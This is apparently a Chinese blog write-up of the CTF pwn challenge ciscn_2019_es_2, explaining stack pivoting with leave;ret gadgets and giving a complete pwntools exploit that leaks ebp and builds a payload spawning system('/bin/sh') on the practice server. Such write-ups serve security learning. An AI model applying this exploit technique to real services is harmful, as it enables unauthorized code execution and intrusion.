首页 > 其他分享 >pwn | ciscn_2019_es_2

pwn | ciscn_2019_es_2

时间:2022-12-03 23:45:44浏览次数:56  
标签:ciscn ret leave 地址 ebp pwn 2019

pwn | ciscn_2019_es_2

x86 ret2text 栈迁移
这是我第一次做栈迁移的题目,浅浅记录一下思路
关键的利用点在于利用leave ret的组合把esp搬到低地址的地方(也就是我们输入的地方)

这题有两次输入,第一次通过溢出获取ebp地址上的值,也就是原ebp的地址
这时候先覆盖ebp地址上原ebp的值为输入的起始地址,然后让程序跳转到leave ret
关键点就在这里了
这时候第一次执行leave ret,leave:mov esp, ebp; pop ebp;
pop出来的ebp值是我们输入的起始地址
然后ret 到leave ret再次执行
第二次leave: mov esp, ebp; 就是这里,将esp也搬到了ebp的地方,也就是输入的起始地址
然后pop ebp,这时候esp指向的就是输入地址+4的位置,也就是新的返回值地址用于ret,剩下的不用多说了,就是常规操作。

exp:

from pwn import *

context.log_level = 'debug'

elf = ELF('ciscn_2019_es_2')
# p = process('ciscn_2019_es_2')
p = remote("node4.buuoj.cn", 28653)

p.recvuntil('name?')

# leak ebp
payload = 0x28 * b'M'
p.send(payload)

p.recvuntil(0x28*b'M')
ebp = u32(p.recv(4))
print(hex(ebp))

p.recv()

p_leaveret = 0x080485FD
p_system = elf.plt['system']
p_str = ebp - 0x38   # old ebp - 0x38 = input addr
p_binsh = p_str + 16
'''
ebp-0x28 -> s: xxxx


ebp    -> old ebp
ebp+4  -> old eip


leave ret


'''

payload = (b'M'*4 + p32(p_system) + b'MMMM' + p32(p_binsh) + b'/bin/sh\x00' ).ljust(0x28, b'A') +  p32(p_str) + p32(p_leaveret)
p.send(payload)



p.interactive()


标签:ciscn,ret,leave,地址,ebp,pwn,2019
From: https://www.cnblogs.com/Mz1-rc/p/16949046.html

相关文章

  • 2019SQLExpress数据库下载
    关注微信公众号【工控羊】或者微信号【gksheep】,微信公众号后台输入数字编号【0005】即可获取下载链接。......
  • VS2019专业版下载
    关注微信公众号【工控羊】或者微信号【gksheep】,微信公众号后台输入数字编号【0001】即可获取下载链接。......
  • BUUCTF之[GWCTF 2019]xxor~~
    老样子,无壳64位。然后丢ida继续分析.在函数列表中找到Main函数,继续分析一开始是让你输入6个int类型的数,并存入到v6数组中在外层的循环中,出现了LODWORD和HIDWORD,这里......
  • [RoarCTF2019]babyRSA
    题目脚本代码:importsympyimportrandomdefmyGetPrime():A=getPrime(513)print(A)B=A-random.randint(1e3,1e5)print(B)returnsympy.nextPrime((B......
  • OBDSTAR X300 DP Plus Program 2019 LEXUS RX300 8A-A9 Proximity
    OBDSTARX300DPPlusProgram2019LEXUSRX3008A-A9ProximityNoAdapterNoPINGreatnews!OBDSTARX300DPPlus/X300Pro4withKeySIMSimulatorcanreadsmar......
  • 892.2019
    1:#include<bits/stdc++.h>usingnamespacestd;intmain(){intn;cin>>n;if(n>=90) cout<<'A';elseif(n>=80)cout<<'B';else......
  • Google Earth Engine(GEE)——墨累全球潮汐湿地变化 v1 (1999-2019) 数据集
    TheMurrayGlobalTidalWetlandChangeDatasetcontainsmapsoftheglobalextentoftidalwetlandsandtheirchange.Themapsweredevelopedfromathreestage......
  • Bash 任意命令执行安全漏洞:CVE-2019-9924影响范围 小于Bash 4.4-beta2之前版本
    Bash任意命令执行安全漏洞:CVE-2019-9924影响范围小于Bash4.4-beta2之前版本http://git.savannah.gnu.org/cgit/bash.git/snapshot/bash-bash-4.4-rc2.tar.gzwgethttp......
  • buuoj-[2019红帽杯]easyRE
    1.elf文件64bit2.找到主程序continue上面解出来是这个:Info:Thefirstfourcharsareflag屁股有一段base64套娃,解出来是一个网址没啥用。。3.没思路了去百度,......
  • buuoj-[GUET-CTF2019]re
    1.nowinexe64bit打开后发现有壳2.存在关键字符串输入的flag进入了sub_4009ae函数,点进去:一个一个除回去应该能得到flagflag{e65421110ba03099a1c039337}由......